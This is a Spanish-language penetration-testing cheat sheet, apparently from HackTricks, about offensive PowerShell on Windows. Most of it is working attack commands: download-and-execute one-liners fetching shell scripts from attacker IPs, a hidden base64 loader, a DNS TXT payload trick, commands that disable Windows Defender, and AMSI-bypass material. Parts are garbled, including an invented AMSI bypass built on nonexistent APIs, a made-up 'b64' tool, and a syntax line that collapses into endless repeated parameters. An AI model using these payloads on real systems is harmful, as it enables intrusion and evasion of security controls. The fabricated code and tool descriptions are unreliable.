hacktricks/windows-hardening/basic-powershell-for-pentesters/README.md

93 KiB
Raw Blame History

PowerShell básico para pentesters

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Ubicaciones predeterminadas de PowerShell

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Comandos básicos de PS para comenzar

PowerShell (PS) es una poderosa herramienta de línea de comandos y scripting que se utiliza ampliamente en entornos de Windows. Aquí hay algunos comandos básicos de PS que te ayudarán a comenzar:

Obtener información del sistema

  • Get-Host: Muestra información sobre la versión de PowerShell que estás utilizando.
  • Get-Process: Muestra una lista de los procesos en ejecución en el sistema.
  • Get-Service: Muestra una lista de los servicios en ejecución en el sistema.
  • Get-EventLog: Muestra los registros de eventos del sistema.

Navegar por el sistema de archivos

  • Get-ChildItem: Muestra una lista de los archivos y carpetas en un directorio específico.
  • Set-Location: Cambia el directorio actual.
  • Copy-Item: Copia un archivo o carpeta a una ubicación específica.
  • Move-Item: Mueve un archivo o carpeta a una ubicación específica.
  • Remove-Item: Elimina un archivo o carpeta.

Administrar usuarios y grupos

  • Get-LocalUser: Muestra una lista de los usuarios locales en el sistema.
  • New-LocalUser: Crea un nuevo usuario local.
  • Remove-LocalUser: Elimina un usuario local.
  • Get-LocalGroup: Muestra una lista de los grupos locales en el sistema.
  • Add-LocalGroupMember: Agrega un usuario a un grupo local.
  • Remove-LocalGroupMember: Elimina un usuario de un grupo local.

Administrar permisos

  • Get-Acl: Muestra los permisos de seguridad de un archivo o carpeta.
  • Set-Acl: Establece los permisos de seguridad de un archivo o carpeta.
  • Get-NTFSAccess: Muestra los permisos NTFS de un archivo o carpeta.
  • Set-NTFSAccess: Establece los permisos NTFS de un archivo o carpeta.

Estos son solo algunos de los comandos básicos de PS que puedes utilizar para administrar y obtener información del sistema. ¡Explora más y descubre todo el potencial de PowerShell!

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Descargar y Ejecutar

To download and execute a file using PowerShell, you can use the following command:

Para descargar y ejecutar un archivo utilizando PowerShell, puedes utilizar el siguiente comando:

Invoke-WebRequest -Uri <URL> -OutFile <output file>; .\<output file>

Replace <URL> with the URL of the file you want to download, and <output file> with the desired name for the downloaded file.

Reemplaza <URL> con la URL del archivo que deseas descargar, y <output file> con el nombre deseado para el archivo descargado.

This command uses the Invoke-WebRequest cmdlet to download the file from the specified URL and save it to the local system. The -OutFile parameter specifies the name of the output file.

Este comando utiliza el cmdlet Invoke-WebRequest para descargar el archivo desde la URL especificada y guardarlo en el sistema local. El parámetro -OutFile especifica el nombre del archivo de salida.

After downloading the file, the second part of the command .\<output file> executes the downloaded file.

Después de descargar el archivo, la segunda parte del comando .\<output file> ejecuta el archivo descargado.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Descargar y ejecutar en segundo plano con bypass de AMSI

This technique allows you to download and execute a file in the background while bypassing the Antimalware Scan Interface (AMSI) in Windows.

Requirements

  • PowerShell version 5.1 or higher
  • Internet access

Instructions

  1. Open a PowerShell session with administrative privileges.

  2. Run the following command to download the file and save it to a temporary location:

    $url = "URL_DEL_ARCHIVO"
    $output = "RUTA_DE_DESTINO"
    Invoke-WebRequest -Uri $url -OutFile $output
    

    Replace URL_DEL_ARCHIVO with the URL of the file you want to download, and RUTA_DE_DESTINO with the desired destination path.

  3. To bypass AMSI, run the following command:

    $bytes = [System.IO.File]::ReadAllBytes($output)
    $encodedCommand = [System.Convert]::ToBase64String($bytes)
    [System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation') | Out-Null
    $type = [System.Management.Automation.AmsiUtils]::GetAttributeTable()[0].Invoke($null, @($null))
    $amsiUtils = [System.Activator]::CreateInstance($type)
    $amsiUtils.GetType().GetField('amsiInitFailed', [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).SetValue($null, $true)
    [System.Management.Automation.Runspaces.InitialSessionState]::Create().InvokeCommand.InvokeScript($amsiUtils, @($encodedCommand))
    
  4. The file will be executed in the background without triggering AMSI detection.

Note: This technique is for educational purposes only. Unauthorized use is strictly prohibited.

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Usando b64 en Linux

El comando b64 es una herramienta útil para codificar y decodificar archivos en base64 en sistemas operativos Linux. Puede ser utilizado por los pentesters para realizar diversas tareas durante una prueba de penetración.

Codificar un archivo en base64

Para codificar un archivo en base64, puedes utilizar el siguiente comando:

b64 -e archivo > archivo_codificado

Reemplaza "archivo" con la ruta y el nombre del archivo que deseas codificar. El archivo codificado se guardará en el archivo especificado después del símbolo ">".

Decodificar un archivo en base64

Para decodificar un archivo en base64, puedes utilizar el siguiente comando:

b64 -d archivo_codificado > archivo_decodificado

Reemplaza "archivo_codificado" con la ruta y el nombre del archivo codificado que deseas decodificar. El archivo decodificado se guardará en el archivo especificado después del símbolo ">".

Es importante tener en cuenta que el comando b64 debe estar instalado en tu sistema Linux para poder utilizarlo. Puedes instalarlo utilizando el administrador de paquetes de tu distribución Linux.

¡Utiliza el comando b64 de manera responsable y ética durante tus pruebas de penetración!

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Descargar

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

El comando Invoke-WebRequest se utiliza en PowerShell para enviar solicitudes HTTP a un servidor web y recibir respuestas. Puede ser utilizado por los pentesters para realizar pruebas de penetración en aplicaciones web.

Sintaxis

Invoke-WebRequest [-Uri] <string> [-Method <string>] [-Headers <hashtable>] [-Body <string>] [-ContentType <string>] [-UserAgent <string>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-TimeoutSec <int>] [-SessionVariable <string>] [-WebSession <WebRequestSession>] [-UseBasicParsing] [-DisableKeepAlive] [-SkipCertificateCheck] [-MaximumRedirection <int>] [-MaximumRetryCount <int>] [-MaximumRetryIntervalSec <int>] [-ProxyUseDefaultCredentials] [-ProxyByPassList <string[]>] [-ProxyByPassProxy] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential
```powershell
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is a powerful tool for downloading files and can be used for various purposes, including web scraping, mirroring websites, and downloading files from remote servers.

To use Wget, you simply need to specify the URL of the file you want to download. Wget will then retrieve the file and save it to your local machine. You can also specify additional options to customize the download process, such as setting the output file name, limiting the download speed, and resuming interrupted downloads.

Here are some common examples of how to use Wget:

  • Download a file from a URL:
wget http://example.com/file.txt
  • Save the downloaded file with a different name:
wget -O output.txt http://example.com/file.txt
  • Limit the download speed to 1MB/s:
wget --limit-rate=1M http://example.com/file.txt
  • Resume an interrupted download:
wget -c http://example.com/file.txt

Wget is a versatile tool that can be used in various scenarios. It is widely supported and available on most operating systems, including Windows, macOS, and Linux. Whether you are a pentester, a developer, or a sysadmin, Wget can be a valuable addition to your toolkit.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

BitsTransfer es un módulo de PowerShell que permite la transferencia de archivos en segundo plano utilizando el servicio de transferencia inteligente en segundo plano (BITS) de Windows. BITS es un protocolo de transferencia de archivos que se ejecuta en el sistema operativo Windows y permite la transferencia de archivos de manera eficiente y confiable.

BitsTransfer proporciona una forma conveniente de transferir archivos desde y hacia sistemas remotos utilizando PowerShell. Esto puede ser útil para los pentesters, ya que les permite transferir herramientas y archivos de carga útil a sistemas comprometidos, así como recuperar datos y resultados de las operaciones de pentesting.

El módulo BitsTransfer incluye cmdlets que permiten a los pentesters crear, administrar y monitorear transferencias de archivos. Algunos de los cmdlets más comunes incluyen:

  • Start-BitsTransfer: Inicia una transferencia de archivos BITS.
  • Complete-BitsTransfer: Completa una transferencia de archivos BITS que está en progreso.
  • Get-BitsTransfer: Obtiene información sobre las transferencias de archivos BITS en curso.
  • Remove-BitsTransfer: Elimina una transferencia de archivos BITS.

BitsTransfer es una herramienta poderosa para los pentesters que desean transferir archivos de manera eficiente y confiable durante sus operaciones de pentesting en sistemas Windows.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali y EncodedCommand

En algunas situaciones, como durante una prueba de penetración, es posible que necesitemos codificar comandos de PowerShell para evitar la detección por parte de los sistemas de seguridad. Una técnica comúnmente utilizada es la codificación Base64.

En Kali Linux, podemos utilizar la herramienta base64 para codificar nuestros comandos de PowerShell. Aquí hay un ejemplo de cómo hacerlo:

echo "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/malicious.ps1')" | base64

Esto codificará el comando de PowerShell en Base64. Luego, podemos utilizar el comando codificado en un script de PowerShell de la siguiente manera:

powershell.exe -EncodedCommand <comando_codificado_en_Base64>

Reemplaza <comando_codificado_en_Base64> con el resultado de la codificación Base64 del comando de PowerShell que deseas ejecutar.

Esta técnica puede ser útil para evadir la detección de antivirus y firewalls, ya que el comando codificado en Base64 puede parecer inofensivo a simple vista. Sin embargo, es importante tener en cuenta que no todos los sistemas de seguridad pueden ser engañados por esta técnica, por lo que es necesario evaluar el entorno objetivo antes de utilizarla.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Política de ejecución

Lenguaje restringido

Política de AppLocker

Habilitar WinRM (PS remoto)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Desactivar Defender

{% code overflow="wrap" %}

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

{% endcode %}

Bypass de AMSI

amsi.dll se carga en tu proceso y tiene las exportaciones necesarias para que cualquier aplicación interactúe con él. Y debido a que se carga en el espacio de memoria de un proceso que controlas, puedes cambiar su comportamiento sobrescribiendo instrucciones en la memoria. Haciendo que no detecte nada.

Por lo tanto, el objetivo de los bypasses de AMSI es sobrescribir las instrucciones de esa DLL en la memoria para hacer que la detección sea inútil.

Página web generadora de bypass de AMSI: https://amsi.fail/

# A Method
